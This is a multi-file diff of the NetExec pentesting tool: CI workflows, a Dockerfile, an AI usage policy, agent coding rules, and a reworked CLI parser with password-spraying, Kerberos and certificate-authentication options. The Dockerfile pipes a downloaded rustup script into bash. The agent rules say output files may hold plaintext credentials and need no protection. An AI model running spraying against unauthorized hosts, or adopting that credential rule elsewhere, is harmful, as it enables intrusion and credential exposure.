uv run ruff --version
uv run ruff check . --preview
+54
View File
@@ -0,0 +1,54 @@
name: PR Template Check
on:
pull_request_target:
types: [opened, edited]
permissions:
pull-requests: write
jobs:
check-template:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Check PR description for template sections
uses: actions/github-script@v7
with:
script: |
const body = context.payload.pull_request.body || '';
const requiredSections = [
'## Description',
'## Type of change',
'## Setup guide for the review',
'## Checklist'
];
const missingSections = requiredSections.filter(
section => !body.includes(section)
);
if (missingSections.length === 0) return;
// Check if we already left a comment to avoid spamming
const comments = await github.rest.issues.listComments({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number
});
const botComment = comments.data.find(
c => c.user.type === 'Bot' && c.body.includes('<!-- pr-template-check -->')
);
if (botComment) return;
const missing = missingSections.map(s => `- ${s}`).join('\n');
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
body: `<!-- pr-template-check -->\nIt looks like the PR template may not have been filled out. The following sections appear to be missing:\n\n${missing}\n\nPlease edit your PR description to include them. The template helps reviewers understand and test your changes. Thanks!`
});
+20 -29
View File
@@ -8,41 +8,32 @@ on:
jobs:
build:
name: Test for Py${{ matrix.python-version }}
if: github.event.review.state == 'APPROVED'
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
enable-cache: true
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
run: uv python install ${{ matrix.python-version }}
- name: Install project
run: uv sync --python ${{ matrix.python-version }}
- name: Load every protocol and module
run: |
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -M veeam
uv run netexec winrm 127.0.0.1
uv run netexec vnc 127.0.0.1
uv run netexec smb 127.0.0.1
uv run netexec ldap 127.0.0.1
uv run netexec wmi 127.0.0.1
uv run netexec rdp 127.0.0.1
uv run netexec mssql 127.0.0.1
uv run netexec ssh 127.0.0.1
uv run netexec ftp 127.0.0.1
uv run netexec smb 127.0.0.1 -L
+1
View File
@@ -1,5 +1,6 @@
data/nxc.db
hash_spider_default.sqlite3
hash_spider_testing.sqlite3
*.bak
*.log
.venv
+41
View File
@@ -0,0 +1,41 @@
# Authorized testing scope
- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
- Treat the exact targets or ranges provided by the user as the complete authorized scope.
- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
- Repository instructions do not grant authorization to test any third-party system.
# Coding style
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
- Always bind caught exceptions as `e`, not `error` or another name.
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
# NetExec module structure
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
- Module scope should contain only imports and the `NXCModule` class definition.
- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
- Run `ruff check .` after every coding session.
# Development and validation
- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
- Record every module-verification command in `tests/e2e_commands.txt`.
- Do not run compilation checks.
- Run Ruff after completing a coding session.
# Filesystem and source conventions
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
- Place imports at the top of files unless explicitly instructed otherwise.
+78
View File
@@ -0,0 +1,78 @@
# AI Usage Policy
This policy was adapted from the [ghostty project](https://github.com/ghostty-org/ghostty/).
The original version can be found [Ghostty's PR #10412](https://github.com/ghostty-org/ghostty/pull/10412).
The NetExec project has strict rules for AI usage:
- **All AI usage in any form must be disclosed.** You must state
the tool(s) and model(s) you used (e.g. Claude Code, Cursor, Opus 4.6,
Codex 5.2, etc) along with the extent that the work was AI-assisted.
- **Pull requests created in any way by AI can only be for accepted issues.**
Drive-by pull requests that do not reference an accepted issue may be
rejected and closed. If AI isn't disclosed but a maintainer suspects its use,
the PR may be rejected and closed. If you want to share code for a
non-accepted issue, open a discussion or attach it to the existing issue.
- **Pull requests created by AI must have been fully verified with
human use.** AI must not create hypothetically correct code that
hasn't been tested. Importantly, you must not allow AI to write
code for platforms or environments you don't have access to manually
test on.
- **Issues and pull requests should be written by humans.**
Communication should remain human, not AI, and should be clear and concise.
AI is very good at being overly verbose and including noise that distracts
from the main point. While it is fine to cite AI or include AI-generated
content, the main content of your issue or pull request should be written
by a human. Issues or pull requests that look like they are just the
result of an AI prompt will likely be rejected and closed.
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
Text and code are the only acceptable AI-generated content, per the
other rules in this policy.
- **Bad AI drivers will be banned** You've been warned. We love to help junior
developers learn and grow, but if you're interested in that then don't use
AI, and we'll help you.
- **Official maintainers have the final say** We always strive to be helpful,
but there are limits. If you submit agregiously terrible AI generated code
with no review, we may ban you without word. We do not want to waste our
time reviewing slop if the contributor can't be bothered to review the work
themselves.
These rules apply only to outside contributions to NetExec. Maintainers
and trusted contributors are exempt from these rules and may use AI tools at
their discretion; they've proven themselves trustworthy to apply good judgment.
## There are Humans Here
Please remember that NetExec is maintained by humans.
Every discussion, issue, and pull request is read and reviewed by
humans (and sometimes machines, too). It is a boundary point at which
people interact with each other and the work done. It is rude and
disrespectful to approach this boundary with low-effort, unqualified
work, since it puts the burden of validation on the maintainers.
In a perfect world, AI would produce high-quality, accurate work
every time, but today that is simply not true. This is compounded by the fact
that accessibility to AI is high, allowing low skilled individuals to think
that they are contributing useful code. Even many skilled programmers do not
understand how to use it effectively. This has opened up a waterfall of low
quality contributions across the Open Source community, wasting resources.
## AI is Welcome Here, Within Reason
NetExec maintainers acknowledge AI as a productive tool to some workflows, and
are open to leveraging this technology to improve NetExec; however, there are
many low quality AI tools whose use results in pure slop being generated. The
security communinity is not immune from AI psychosis, over-hype, or FOMO.
As with any new technology, it is important to understand how it works and how
to best use it, not blindly apply it to every use case with the hope that it
will fix all your issues.
We include this section to be transparent about the project's usage about
AI for people who may disagree with it.
+36 -13
View File
@@ -1,4 +1,32 @@
FROM python:3.11-slim
FROM python:3.13-slim-bookworm AS builder
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
RUN apt update && \
apt install -y --no-install-recommends \
libffi-dev \
libxml2-dev \
libxslt-dev \
libssl-dev \
openssl \
autoconf \
g++ \
python3-dev \
curl \
git \
unzip \
&& apt clean && rm -rf /var/lib/apt/lists/*
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
ENV PATH="/root/.cargo/bin:${PATH}"
RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
&& pip install .
FROM python:3.13-slim-bookworm
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
@@ -6,17 +34,12 @@ ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
RUN apt-get update && \
apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
RUN apt-get update
# Get Rust
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
# Add .cargo/bin to PATH
ENV PATH="/root/.cargo/bin:${PATH}"
# Check cargo is visible
RUN cargo --help
COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
COPY --from=builder /usr/local/bin /usr/local/bin
COPY . .
RUN pip install .
RUN apt update && \
apt install -y --no-install-recommends \
openssl \
&& apt clean && rm -rf /var/lib/apt/lists/*
ENTRYPOINT [ "nxc" ]
ENTRYPOINT ["nxc"]
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2022, byt3bl33d3r
All rights reserved.
+9 -1
View File
@@ -1,4 +1,4 @@
![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg)
![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -43,6 +43,11 @@ sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
## Availability on Unix distributions
[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
# Development
Development guidelines and recommendations in development
@@ -58,3 +63,6 @@ Awesome code contributors of NetExec:
[![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack)
[![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo)
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
[![](https://github.com/azoxlpf.png?size=50)](https://github.com/azoxlpf)
+16 -2
View File
@@ -19,18 +19,25 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'certihound',
'certipy.commands.find',
'certipy.lib.formatting',
'certipy.lib.target',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
'impacket.dcerpc.v5.transport',
'impacket.dcerpc.v5.lsad',
'impacket.dcerpc.v5.gkdi',
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dcerpc.v5.even6',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'jwt',
'nxc.connection',
'nxc.servers.smb',
'nxc.protocols.smb.wmiexec',
'nxc.protocols.smb.atexec',
'nxc.protocols.smb.smbexec',
@@ -41,12 +48,15 @@ a = Analysis(
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.even6_parser',
'nxc.helpers.msada_guids',
'nxc.helpers.negotiate_parser',
'paramiko',
'pefile',
'pypsrp.client',
'pywerview.cli.helpers',
'pylnk3',
'pypykatz',
'pyNfsClient',
'masky',
'msldap',
'msldap.connection',
@@ -66,8 +76,12 @@ a = Analysis(
'dploot.triage.browser',
'dploot.triage.credentials',
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.triage.cng',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
+77 -48
View File
@@ -9,81 +9,106 @@ import nxc
from nxc.paths import NXC_PATH
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from nxc.helpers.args import DisplayDefaultsNotNone
from nxc.logger import nxc_logger, setup_debug_logging
import importlib.metadata
def gen_cli_args():
setup_debug_logging()
try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
DISTANCE, COMMIT = COMMIT.split(".")
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
CODENAME = "nxc4u"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
DISTANCE = ""
CODENAME = "Yippie-Ki-Yay"
parser = argparse.ArgumentParser(description=rf"""
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic Options")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output Options")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
log_level = output_group.add_mutually_exclusive_group()
log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
log_level.add_argument("--debug", action="store_true", help="enable debug level information")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
. .
.| |. _ _ _ _____
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
ॱ \ / ॱ
ॱ ॱ
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
˙ \ / ˙
˙ ˙
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
For documentation and usage examples, visit: https://www.netexec.wiki/
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
{highlight('Commit', 'red')} : {highlight(COMMIT)}
""", formatter_class=RawTextHelpFormatter)
parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
""",
formatter_class=RawTextHelpFormatter,
parents=[generic_parser, output_parser, dns_parser]
)
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
certificate_group = std_parser.add_argument_group("Certificate Authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -91,11 +116,11 @@ def gen_cli_args():
try:
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
argcomplete.autocomplete(parser)
argcomplete.autocomplete(parser, always_complete_options=False)
args = parser.parse_args()
if len(sys.argv) == 1:
@@ -103,10 +128,14 @@ def gen_cli_args():
sys.exit(1)
if args.version:
print(f"{VERSION} - {CODENAME} - {COMMIT}")
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
sys.exit(1)
return args
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
if hasattr(args, "get_output_tries"):
args.get_output_tries = args.get_output_tries * 10
return args, [CODENAME, VERSION, COMMIT, DISTANCE]
def get_module_names():
+16 -6
View File
@@ -1,7 +1,6 @@
import os
from os.path import join as path_join
import configparser
from nxc.paths import NXC_PATH, DATA_PATH
from nxc.paths import DATA_PATH, CONFIG_PATH
from nxc.first_run import first_run_setup
from nxc.logger import nxc_logger
from ast import literal_eval
@@ -10,20 +9,25 @@ nxc_default_config = configparser.ConfigParser()
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
nxc_config = configparser.ConfigParser()
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
nxc_config.read(CONFIG_PATH)
if "nxc" not in nxc_config.sections():
first_run_setup()
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
nxc_config.read(CONFIG_PATH)
# Check if there are any missing options in the config file
for section in nxc_default_config.sections():
if not nxc_config.has_section(section):
nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
nxc_config.add_section(section)
with open(CONFIG_PATH, "w") as config_file:
nxc_config.write(config_file)
for option in nxc_default_config.options(section):
if not nxc_config.has_option(section, option):
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
nxc_config.set(section, option, nxc_default_config.get(section, option))
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
with open(CONFIG_PATH, "w") as config_file:
nxc_config.write(config_file)
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
@@ -32,8 +36,14 @@ pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
if not isinstance(exclude_hosts, list):
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
exit(1)
if len(host_info_colors) != 4:
+222 -106
View File
@@ -1,55 +1,106 @@
from datetime import datetime
import os
import random
import sys
import contextlib
from os.path import isfile
from threading import BoundedSemaphore
from threading import BoundedSemaphore, Lock
from functools import wraps
from time import sleep
from ipaddress import ip_address
from dns import resolver, rdatatype
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
import sys
import contextlib
from impacket.krb5.ccache import CCache
sem = BoundedSemaphore(1)
fail_lock = Lock()
global_failed_logins = 0
user_failed_logins = {}
def gethost_addrinfo(hostname):
is_ipv6 = False
is_link_local_ipv6 = False
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
result = {
"host": "",
"is_ipv6": False,
"is_link_local_ipv6": False
}
address_info = {"AF_INET6": "", "AF_INET": ""}
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
try:
if ip_address(target).version == 4:
address_info["AF_INET"] = target
else:
address_info["AF_INET6"] = target
except Exception:
# If the target is not an IP address, we need to resolve it
if not (dns_server or dns_tcp):
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
address_info["AF_INET6"] = canonname
result["is_link_local_ipv6"] = True
else:
dnsresolver = resolver.Resolver()
dnsresolver.timeout = dns_timeout
dnsresolver.lifetime = dns_timeout
if dns_server:
dnsresolver.nameservers = [dns_server]
try:
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET"] = answers_ipv4[0].address
except Exception:
pass
try:
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET6"] = answers_ipv6[0].address
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
result["is_link_local_ipv6"] = True
except Exception:
pass
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
raise Exception(f"The DNS query name does not exist: {target}")
# IPv4 preferred
if address_info["AF_INET"]:
host = address_info["AF_INET"]
if address_info["AF_INET"] and not force_ipv6:
result["host"] = address_info["AF_INET"]
else:
is_ipv6 = True
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
result["is_ipv6"] = True
result["host"] = address_info["AF_INET6"]
return host, is_ipv6, is_link_local_ipv6
return result
def requires_admin(func):
def _decorator(self, *args, **kwargs):
if self.admin_privs is False:
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
return func(self, *args, **kwargs)
return None
return func(self, *args, **kwargs)
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, timeout):
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
@@ -69,6 +120,7 @@ def dcom_FirewallChecker(iInterface, timeout):
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
@@ -80,57 +132,83 @@ def dcom_FirewallChecker(iInterface, timeout):
class connection:
def __init__(self, args, db, host):
self.domain = None
